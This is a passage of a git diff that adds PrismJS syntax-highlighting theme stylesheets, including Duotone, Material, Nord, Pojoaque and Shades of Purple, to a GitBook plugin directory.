#ece8de; +} + +.line-numbers-rows > span:before { + color: #cdc4b1; +} + +/* overrides color-values for the Line Highlight plugin + * http://prismjs.com/plugins/line-highlight/ + */ +.line-highlight { + background: rgba(45, 32, 6, 0.2); + background: -webkit-linear-gradient(left, rgba(45, 32, 6, 0.2) 70%, rgba(45, 32, 6, 0)); + background: linear-gradient(to right, rgba(45, 32, 6, 0.2) 70%, rgba(45, 32, 6, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-sea.css b/gitbook/gitbook-plugin-prism/prism-duotone-sea.css new file mode 100644 index 0000000..492a9c5 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-sea.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Sea +Author: by Simurai, adapted from DuoTone themes by Simurai for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-sea-dark.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #1d262f; + color: #57718e; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #004a9e; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #004a9e; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #4a5f78; +} + +.token.punctuation { + color: #4a5f78; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #0aa370; +} + +.token.property, +.token.function { + color: #57718e; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #ebf4ff; +} + +code.language-javascript, +.token.attr-name { + color: #7eb6f6; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #47ebb4; +} + +.token.placeholder, +.token.variable { + color: #47ebb4; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #ebf4ff; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #7eb6f6; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #34659d; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #1f2932; +} + +.line-numbers-rows > span:before { + color: #2c3847; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(10, 163, 112, 0.2); + background: -webkit-linear-gradient(left, rgba(10, 163, 112, 0.2) 70%, rgba(10, 163, 112, 0)); + background: linear-gradient(to right, rgba(10, 163, 112, 0.2) 70%, rgba(10, 163, 112, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-duotone-space.css b/gitbook/gitbook-plugin-prism/prism-duotone-space.css new file mode 100644 index 0000000..8a1bed1 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-duotone-space.css @@ -0,0 +1,172 @@ +/* +Name: Duotone Space +Author: Simurai, adapted from DuoTone themes for Atom (http://simurai.com/projects/2016/01/01/duotone-themes) + +Conversion: Bram de Haan (http://atelierbram.github.io/Base2Tone-prism/output/prism/prism-base2tone-space-dark.css) +Generated with Base16 Builder (https://github.com/base16-builder/base16-builder) +*/ + +code[class*="language-"], +pre[class*="language-"] { + font-family: Consolas, Menlo, Monaco, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", "Courier New", Courier, monospace; + font-size: 14px; + line-height: 1.375; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + background: #24242e; + color: #767693; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + text-shadow: none; + background: #5151e6; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + text-shadow: none; + background: #5151e6; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #5b5b76; +} + +.token.punctuation { + color: #5b5b76; +} + +.token.namespace { + opacity: .7; +} + +.token.tag, +.token.operator, +.token.number { + color: #dd672c; +} + +.token.property, +.token.function { + color: #767693; +} + +.token.tag-id, +.token.selector, +.token.atrule-id { + color: #ebebff; +} + +code.language-javascript, +.token.attr-name { + color: #aaaaca; +} + +code.language-css, +code.language-scss, +.token.boolean, +.token.string, +.token.entity, +.token.url, +.language-css .token.string, +.language-scss .token.string, +.style .token.string, +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit, +.token.statement, +.token.regex, +.token.atrule { + color: #fe8c52; +} + +.token.placeholder, +.token.variable { + color: #fe8c52; +} + +.token.deleted { + text-decoration: line-through; +} + +.token.inserted { + border-bottom: 1px dotted #ebebff; + text-decoration: none; +} + +.token.italic { + font-style: italic; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.important { + color: #aaaaca; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid #7676f4; + outline-offset: .4em; +} + +/* overrides color-values for the Line Numbers plugin + * http://prismjs.com/plugins/line-numbers/ + */ +.line-numbers .line-numbers-rows { + border-right-color: #262631; +} + +.line-numbers-rows > span:before { + color: #393949; +} + +/* overrides color-values for the Line Highlight plugin +* http://prismjs.com/plugins/line-highlight/ +*/ +.line-highlight { + background: rgba(221, 103, 44, 0.2); + background: -webkit-linear-gradient(left, rgba(221, 103, 44, 0.2) 70%, rgba(221, 103, 44, 0)); + background: linear-gradient(to right, rgba(221, 103, 44, 0.2) 70%, rgba(221, 103, 44, 0)); +} diff --git a/gitbook/gitbook-plugin-prism/prism-ghcolors.css b/gitbook/gitbook-plugin-prism/prism-ghcolors.css new file mode 100644 index 0000000..01819a8 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-ghcolors.css @@ -0,0 +1,122 @@ +/** + * GHColors theme by Avi Aryan (http://aviaryan.in) + * Inspired by Github syntax coloring + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #393A34; + font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + font-size: .9em; + line-height: 1.2em; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, +code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { + background: #b3d4fc; +} + +pre[class*="language-"]::selection, pre[class*="language-"] ::selection, +code[class*="language-"]::selection, code[class*="language-"] ::selection { + background: #b3d4fc; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + border: 1px solid #dddddd; + background-color: white; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .2em; + padding-top: 1px; + padding-bottom: 1px; + background: #f8f8f8; + border: 1px solid #dddddd; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #999988; + font-style: italic; +} + +.token.namespace { + opacity: .7; +} + +.token.string, +.token.attr-value { + color: #e3116c; +} + +.token.punctuation, +.token.operator { + color: #393A34; /* no highlight */ +} + +.token.entity, +.token.url, +.token.symbol, +.token.number, +.token.boolean, +.token.variable, +.token.constant, +.token.property, +.token.regex, +.token.inserted { + color: #36acaa; +} + +.token.atrule, +.token.keyword, +.token.attr-name, +.language-autohotkey .token.selector { + color: #00a4db; +} + +.token.function, +.token.deleted, +.language-autohotkey .token.tag { + color: #9a050f; +} + +.token.tag, +.token.selector, +.language-autohotkey .token.keyword { + color: #00009f; +} + +.token.important, +.token.function, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} diff --git a/gitbook/gitbook-plugin-prism/prism-hopscotch.css b/gitbook/gitbook-plugin-prism/prism-hopscotch.css new file mode 100644 index 0000000..a31472e --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-hopscotch.css @@ -0,0 +1,132 @@ +@import url(https://fonts.googleapis.com/css?family=Fira+Mono); +/* + * Hopscotch + * by Jan T. Sott + * https://github.com/idleberg/Hopscotch + * + * This work is licensed under the Creative Commons CC0 1.0 Universal License + */ + +code[class*="language-"], +pre[class*="language-"] { + font-family: "Fira Mono", Menlo, Monaco, "Lucida Console", "Courier New", Courier, monospace; + font-size: 16px; + line-height: 1.375; + direction: ltr; + text-align: left; + word-spacing: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + white-space: pre; + white-space: pre-wrap; + word-break: break-all; + word-wrap: break-word; + background: #322931; + color: #b9b5b8; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #797379; +} + +.token.punctuation { + color: #b9b5b8; +} + +.namespace { + opacity: .7; +} + +.token.null, +.token.operator, +.token.boolean, +.token.number { + color: #fd8b19; +} + +.token.property { + color: #fdcc59; +} + +.token.tag { + color: #1290bf; +} + +.token.string { + color: #149b93; +} + +.token.selector { + color: #c85e7c; +} + +.token.attr-name { + color: #fd8b19; +} + +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string { + color: #149b93; +} + +.token.attr-value, +.token.keyword, +.token.control, +.token.directive, +.token.unit { + color: #8fc13e; +} + +.token.statement, +.token.regex, +.token.atrule { + color: #149b93; +} + +.token.placeholder, +.token.variable { + color: #1290bf; +} + +.token.important { + color: #dd464c; + font-weight: bold; +} + +.token.entity { + cursor: help; +} + +pre > code.highlight { + outline: .4em solid red; + outline-offset: .4em; +} diff --git a/gitbook/gitbook-plugin-prism/prism-material-dark.css b/gitbook/gitbook-plugin-prism/prism-material-dark.css new file mode 100644 index 0000000..4d1da23 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-material-dark.css @@ -0,0 +1,205 @@ +code[class*="language-"], +pre[class*="language-"] { + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + color: #eee; + background: #2f2f2f; + font-family: Roboto Mono, monospace; + font-size: 1em; + line-height: 1.5em; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +code[class*="language-"]::-moz-selection, +pre[class*="language-"]::-moz-selection, +code[class*="language-"] ::-moz-selection, +pre[class*="language-"] ::-moz-selection { + background: #363636; +} + +code[class*="language-"]::selection, +pre[class*="language-"]::selection, +code[class*="language-"] ::selection, +pre[class*="language-"] ::selection { + background: #363636; +} + +:not(pre) > code[class*="language-"] { + white-space: normal; + border-radius: 0.2em; + padding: 0.1em; +} + +pre[class*="language-"] { + overflow: auto; + position: relative; + margin: 0.5em 0; + padding: 1.25em 1em; +} + +.language-css > code, +.language-sass > code, +.language-scss > code { + color: #fd9170; +} + +[class*="language-"] .namespace { + opacity: 0.7; +} + +.token.atrule { + color: #c792ea; +} + +.token.attr-name { + color: #ffcb6b; +} + +.token.attr-value { + color: #a5e844; +} + +.token.attribute { + color: #a5e844; +} + +.token.boolean { + color: #c792ea; +} + +.token.builtin { + color: #ffcb6b; +} + +.token.cdata { + color: #80cbc4; +} + +.token.char { + color: #80cbc4; +} + +.token.class { + color: #ffcb6b; +} + +.token.class-name { + color: #f2ff00; +} + +.token.comment { + color: #616161; +} + +.token.constant { + color: #c792ea; +} + +.token.deleted { + color: #ff6666; +} + +.token.doctype { + color: #616161; +} + +.token.entity { + color: #ff6666; +} + +.token.function { + color: #c792ea; +} + +.token.hexcode { + color: #f2ff00; +} + +.token.id { + color: #c792ea; + font-weight: bold; +} + +.token.important { + color: #c792ea; + font-weight: bold; +} + +.token.inserted { + color: #80cbc4; +} + +.token.keyword { + color: #c792ea; +} + +.token.number { + color: #fd9170; +} + +.token.operator { + color: #89ddff; +} + +.token.prolog { + color: #616161; +} + +.token.property { + color: #80cbc4; +} + +.token.pseudo-class { + color: #a5e844; +} + +.token.pseudo-element { + color: #a5e844; +} + +.token.punctuation { + color: #89ddff; +} + +.token.regex { + color: #f2ff00; +} + +.token.selector { + color: #ff6666; +} + +.token.string { + color: #a5e844; +} + +.token.symbol { + color: #c792ea; +} + +.token.tag { + color: #ff6666; +} + +.token.unit { + color: #fd9170; +} + +.token.url { + color: #ff6666; +} + +.token.variable { + color: #ff6666; +} diff --git a/gitbook/gitbook-plugin-prism/prism-material-light.css b/gitbook/gitbook-plugin-prism/prism-material-light.css new file mode 100644 index 0000000..acd13ac --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-material-light.css @@ -0,0 +1,207 @@ +code[class*="language-"], +pre[class*="language-"] { + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + color: #90a4ae; + background: #fafafa; + font-family: Roboto Mono, monospace; + font-size: 1em; + line-height: 1.5em; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +code[class*="language-"]::-moz-selection, +pre[class*="language-"]::-moz-selection, +code[class*="language-"] ::-moz-selection, +pre[class*="language-"] ::-moz-selection { + background: #cceae7; + color: #263238; +} + +code[class*="language-"]::selection, +pre[class*="language-"]::selection, +code[class*="language-"] ::selection, +pre[class*="language-"] ::selection { + background: #cceae7; + color: #263238; +} + +:not(pre) > code[class*="language-"] { + white-space: normal; + border-radius: 0.2em; + padding: 0.1em; +} + +pre[class*="language-"] { + overflow: auto; + position: relative; + margin: 0.5em 0; + padding: 1.25em 1em; +} + +.language-css > code, +.language-sass > code, +.language-scss > code { + color: #f76d47; +} + +[class*="language-"] .namespace { + opacity: 0.7; +} + +.token.atrule { + color: #7c4dff; +} + +.token.attr-name { + color: #39adb5; +} + +.token.attr-value { + color: #f6a434; +} + +.token.attribute { + color: #f6a434; +} + +.token.boolean { + color: #7c4dff; +} + +.token.builtin { + color: #39adb5; +} + +.token.cdata { + color: #39adb5; +} + +.token.char { + color: #39adb5; +} + +.token.class { + color: #39adb5; +} + +.token.class-name { + color: #6182b8; +} + +.token.comment { + color: #aabfc9; +} + +.token.constant { + color: #7c4dff; +} + +.token.deleted { + color: #e53935; +} + +.token.doctype { + color: #aabfc9; +} + +.token.entity { + color: #e53935; +} + +.token.function { + color: #7c4dff; +} + +.token.hexcode { + color: #f76d47; +} + +.token.id { + color: #7c4dff; + font-weight: bold; +} + +.token.important { + color: #7c4dff; + font-weight: bold; +} + +.token.inserted { + color: #39adb5; +} + +.token.keyword { + color: #7c4dff; +} + +.token.number { + color: #f76d47; +} + +.token.operator { + color: #39adb5; +} + +.token.prolog { + color: #aabfc9; +} + +.token.property { + color: #39adb5; +} + +.token.pseudo-class { + color: #f6a434; +} + +.token.pseudo-element { + color: #f6a434; +} + +.token.punctuation { + color: #39adb5; +} + +.token.regex { + color: #6182b8; +} + +.token.selector { + color: #e53935; +} + +.token.string { + color: #f6a434; +} + +.token.symbol { + color: #7c4dff; +} + +.token.tag { + color: #e53935; +} + +.token.unit { + color: #f76d47; +} + +.token.url { + color: #e53935; +} + +.token.variable { + color: #e53935; +} diff --git a/gitbook/gitbook-plugin-prism/prism-material-oceanic.css b/gitbook/gitbook-plugin-prism/prism-material-oceanic.css new file mode 100644 index 0000000..9c97149 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-material-oceanic.css @@ -0,0 +1,210 @@ +code[class*="language-"], +pre[class*="language-"] { + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + color: #c3cee3; + background: #263238; + font-family: Roboto Mono, monospace; + font-size: 1em; + line-height: 1.5em; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +code[class*="language-"]::-moz-selection, +pre[class*="language-"]::-moz-selection, +code[class*="language-"] ::-moz-selection, +pre[class*="language-"] ::-moz-selection { + background: #363636; +} + +code[class*="language-"]::selection, +pre[class*="language-"]::selection, +code[class*="language-"] ::selection, +pre[class*="language-"] ::selection { + background: #363636; +} + +:not(pre) > code[class*="language-"] { + white-space: normal; + border-radius: 0.2em; + padding: 0.1em; +} + +pre[class*="language-"] { + overflow: auto; + position: relative; + margin: 0.5em 0; + padding: 1.25em 1em; +} + +.language-css > code, +.language-sass > code, +.language-scss > code { + color: #fd9170; +} + +[class*="language-"] .namespace { + opacity: 0.7; +} + +.token.atrule { + color: #c792ea; +} + +.token.attr-name { + color: #ffcb6b; +} + +.token.attr-value { + color: #c3e88d; +} + +.token.attribute { + color: #c3e88d; +} + +.token.boolean { + color: #c792ea; +} + +.token.builtin { + color: #ffcb6b; +} + +.token.cdata { + color: #80cbc4; +} + +.token.char { + color: #80cbc4; +} + +.token.class { + color: #ffcb6b; +} + +.token.class-name { + color: #f2ff00; +} + +.token.color { + color: #f2ff00; +} + +.token.comment { + color: #546e7a; +} + +.token.constant { + color: #c792ea; +} + +.token.deleted { + color: #f07178; +} + +.token.doctype { + color: #546e7a; +} + +.token.entity { + color: #f07178; +} + +.token.function { + color: #c792ea; +} + +.token.hexcode { + color: #f2ff00; +} + +.token.id { + color: #c792ea; + font-weight: bold; +} + +.token.important { + color: #c792ea; + font-weight: bold; +} + +.token.inserted { + color: #80cbc4; +} + +.token.keyword { + color: #c792ea; + font-style: italic; +} + +.token.number { + color: #fd9170; +} + +.token.operator { + color: #89ddff; +} + +.token.prolog { + color: #546e7a; +} + +.token.property { + color: #80cbc4; +} + +.token.pseudo-class { + color: #c3e88d; +} + +.token.pseudo-element { + color: #c3e88d; +} + +.token.punctuation { + color: #89ddff; +} + +.token.regex { + color: #f2ff00; +} + +.token.selector { + color: #f07178; +} + +.token.string { + color: #c3e88d; +} + +.token.symbol { + color: #c792ea; +} + +.token.tag { + color: #f07178; +} + +.token.unit { + color: #f07178; +} + +.token.url { + color: #fd9170; +} + +.token.variable { + color: #f07178; +} diff --git a/gitbook/gitbook-plugin-prism/prism-nord.css b/gitbook/gitbook-plugin-prism/prism-nord.css new file mode 100644 index 0000000..23b8ac9 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-nord.css @@ -0,0 +1,124 @@ +/** + * Nord Theme Originally by Arctic Ice Studio + * https://nordtheme.com + * + * Ported for PrismJS by Zane Hitchcoxc (@zwhitchcox) and Gabriel Ramos (@gabrieluizramos) + */ + +code[class*="language-"], +pre[class*="language-"] { + color: #f8f8f2; + background: none; + font-family: "Fira Code", Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + word-wrap: normal; + line-height: 1.5; + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; +} + +/* Code blocks */ +pre[class*="language-"] { + padding: 1em; + margin: .5em 0; + overflow: auto; + border-radius: 0.3em; +} + +:not(pre) > code[class*="language-"], +pre[class*="language-"] { + background: #2E3440; +} + +/* Inline code */ +:not(pre) > code[class*="language-"] { + padding: .1em; + border-radius: .3em; + white-space: normal; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #636f88; +} + +.token.punctuation { + color: #81A1C1; +} + +.namespace { + opacity: .7; +} + +.token.property, +.token.tag, +.token.constant, +.token.symbol, +.token.deleted { + color: #81A1C1; +} + +.token.number { + color: #B48EAD; +} + +.token.boolean { + color: #81A1C1; +} + +.token.selector, +.token.attr-name, +.token.string, +.token.char, +.token.builtin, +.token.inserted { + color: #A3BE8C; +} + +.token.operator, +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string, +.token.variable { + color: #81A1C1; +} + +.token.atrule, +.token.attr-value, +.token.function, +.token.class-name { + color: #88C0D0; +} + +.token.keyword { + color: #81A1C1; +} + +.token.regex, +.token.important { + color: #EBCB8B; +} + +.token.important, +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +.token.entity { + cursor: help; +} diff --git a/gitbook/gitbook-plugin-prism/prism-pojoaque.css b/gitbook/gitbook-plugin-prism/prism-pojoaque.css new file mode 100644 index 0000000..565cf94 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-pojoaque.css @@ -0,0 +1,151 @@ +/* + * Pojoaque Style by Jason Tate + * http://web-cms-designs.com/ftopict-10-pojoaque-style-for-highlight-js-code-highlighter.html + * Based on Solarized Style from http://ethanschoonover.com/solarized + * http://softwaremaniacs.org/media/soft/highlight/test.html +*/ + +code[class*="language-"], +pre[class*="language-"] { + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + white-space: pre; + white-space: pre-wrap; + word-break: break-all; + word-wrap: break-word; + font-family: Menlo, Monaco, "Courier New", monospace; + font-size: 15px; + line-height: 1.5; + color: #dccf8f; + text-shadow: 0; +} + +pre > code[class*="language-"] { + font-size: 1em; +} + +pre[class*="language-"], +:not(pre) > code[class*="language-"] { + border-radius: 5px; + border: 1px solid #000; + color: #DCCF8F; + background: #181914 url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAMAAA/+4ADkFkb2JlAGTAAAAAAf/bAIQACQYGBgcGCQcHCQ0IBwgNDwsJCQsPEQ4ODw4OERENDg4ODg0RERQUFhQUERoaHBwaGiYmJiYmKysrKysrKysrKwEJCAgJCgkMCgoMDwwODA8TDg4ODhMVDg4PDg4VGhMRERERExoXGhYWFhoXHR0aGh0dJCQjJCQrKysrKysrKysr/8AAEQgAjACMAwEiAAIRAQMRAf/EAF4AAQEBAAAAAAAAAAAAAAAAAAABBwEBAQAAAAAAAAAAAAAAAAAAAAIQAAEDAwIHAQEAAAAAAAAAAADwAREhYaExkUFRcYGxwdHh8REBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AyGFEjHaBS2fDDs2zkhKmBKktb7km+ZwwCnXPkLVmCTMItj6AXFxRS465/BTnkAJvkLkJe+7AKKoi2AtRS2zuAWsCb5GOlBN8gKfmuGHZ8MFqIth3ALmFoFwbwKWyAlTAp17uKqBvgBD8sM4fTjhvAhkzhaRkBMKBrfs7jGPIpzy7gFrAqnC0C0gB0EWwBDW2cBVQwm+QtPpa3wBO3sVvszCnLAhkzgL5/RLf13cLQd8/AGlu0Cb5HTx9KuAEieGJEdcehS3eRTp2ATdt3CpIm+QtZwAhROXFeb7swp/ahaM3kBE/jSIUBc/AWrgBN8uNFAl+b7sAXFxFn2YLUU5Ns7gFX8C4ib+hN8gFWXwK3bZglxEJm+gKdciLPsFV/TClsgJUwKJ5FVA7tvIFrfZhVfGJDcsCKaYgAqv6YRbE+RWOWBtu7+AL3yRalXLyKqAIIfk+zARbDgFyEsncYwJvlgFRW+GEWntIi2P0BooyFxcNr8Ep3+ANLbMO+QyhvbiqdgC0kVvgUUiLYgBS2QtPbiVI1/sgOmG9uO+Y8DW+7jS2zAOnj6O2BndwuIAUtkdRN8gFoK3wwXMQyZwHVbClsuNLd4E3yAUR6FVDBR+BafQGt93LVMxJTv8ABts4CVLhcfYWsCb5kC9/BHdU8CLYFY5bMAd+eX9MGthhpbA1vu4B7+RKkaW2Yq4AQtVBBFsAJU/AuIXBhN8gGWnstefhiZyWvLAEnbYS1uzSFP6Jvn4Baxx70JKkQojLib5AVTey1jjgkKJGO0AKWyOm7N7cSpgSpAdPH0Tfd/gp1z5C1ZgKqN9J2wFxcUUuAFLZAm+QC0Fb4YUVRFsAOvj4KW2dwtYE3yAWk/wS/PLMKfmuGHZ8MAXF/Ja32Yi5haAKWz4Ydm2cSpgU693Atb7km+Zwwh+WGcPpxw3gAkzCLY+iYUDW/Z3Adc/gpzyFrAqnALkJe+7DoItgAtRS2zuKqGE3yAx0oJvkdvYrfZmALURbDuL5/RLf13cAuDeBS2RpbtAm+QFVA3wR+3fUtFHoBDJnC0jIXH0HWsgMY8inPLuOkd9chp4z20ALQLSA8cI9jYAIa2zjzjBd8gRafS1vgiUho/kAKcsCGTOGWvoOpkAtB3z8Hm8x2Ff5ADp4+lXAlIvcmwH/2Q==') repeat left top; +} + +pre[class*="language-"] { + padding: 12px; + overflow: auto; +} + +:not(pre) > code[class*="language-"] { + padding: 2px 6px; +} + +.token.namespace { + opacity: .7; +} + +.token.comment, +.token.prolog, +.token.doctype, +.token.cdata { + color: #586e75; + font-style: italic; +} + +.token.number, +.token.string, +.token.char, +.token.builtin, +.token.inserted { + color: #468966; +} + +.token.attr-name { + color: #b89859; +} + +.token.operator, +.token.entity, +.token.url, +.language-css .token.string, +.style .token.string { + color: #dccf8f; +} + +.token.selector, +.token.regex { + color: #859900; +} + +.token.atrule, +.token.keyword { + color: #cb4b16; +} + +.token.attr-value { + color: #468966; +} + +.token.function, +.token.variable, +.token.placeholder { + color: #b58900; +} + +.token.property, +.token.tag, +.token.boolean, +.token.number, +.token.constant, +.token.symbol { + color: #b89859; +} + +.token.tag { + color: #ffb03b; +} + +.token.important, +.token.statement, +.token.deleted { + color: #dc322f; +} + +.token.punctuation { + color: #dccf8f; +} + +.token.entity { + cursor: help; +} + +.token.bold { + font-weight: bold; +} + +.token.italic { + font-style: italic; +} + +/* +.pojoaque-colors { + color: #586e75; + color: #b64926; + color: #468966; + color: #ffb03b; + color: #b58900; + color: #b89859; + color: #dccf8f; + color: #d3a60c; + color: #cb4b16; + color: #dc322f; + color: #073642; + color: #181914; +} +*/ diff --git a/gitbook/gitbook-plugin-prism/prism-shades-of-purple.css b/gitbook/gitbook-plugin-prism/prism-shades-of-purple.css new file mode 100644 index 0000000..a4a0cd5 --- /dev/null +++ b/gitbook/gitbook-plugin-prism/prism-shades-of-purple.css @@ -0,0 +1,200 @@ +/** + * Shades of Purple Theme for Prism.js + * + * @author Ahmad Awais + * @support Follow/tweet at https://twitter.com/MrAhmadAwais/ + */ + +code[class*='language-'], +pre[class*='language-'] { + color: #9efeff; + direction: ltr; + text-align: left; + white-space: pre; + word-spacing: normal; + word-break: normal; + + -moz-tab-size: 4; + -o-tab-size: 4; + tab-size: 4; + + -webkit-hyphens: none; + -moz-hyphens: none; + -ms-hyphens: none; + hyphens: none; + + font-family: 'Operator Mono', 'Fira Code', Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; + font-weight: 400; + font-size: 17px; + line-height: 25px; + letter-spacing: 0.5px; + text-shadow: 0 1px #222245; +} + +pre[class*='language-']::-moz-selection, +pre[class*='language-'] ::-moz-selection, +code[class*='language-']::-moz-selection, +code[class*='language-'] ::-moz-selection, +pre[class*='language-']::selection, +pre[class*='language-'] ::selection, +code[class*='language-']::selection, +code[class*='language-'] ::selection { + color: inherit; + background: #a599e9; +} + +/* Code blocks. */ +pre[class*='language-'] { + padding: 2em; + margin: 0.5em 0; + overflow: auto; +} + +:not(pre) > code[class*='language-'], +pre[class*='language-'] { + background: #1e1e3f; +} + +/* Inline code */ +:not(pre) > code[class*='language-'] { + padding: 0.1em; + border-radius: 0.3em; +} + +.token { + font-weight: 400; +} + +.token.comment, +.token.prolog, +.token.cdata { + color: #b362ff; +} + +.token.delimiter, +.token.keyword, +.token.selector, +.token.important, +.token.atrule { + color: #ff9d00; +} + +.token.operator, +.token.attr-name { + color: rgb(255, 180, 84); +} + +.token.punctuation { + color: #ffffff; +} + +.token.boolean { + color: rgb(255, 98, 140); +} + +.token.tag, +.token.tag .punctuation, +.token.doctype, +.token.builtin { + color: rgb(255, 157, 0); +} + +.token.entity, +.token.symbol { + color: 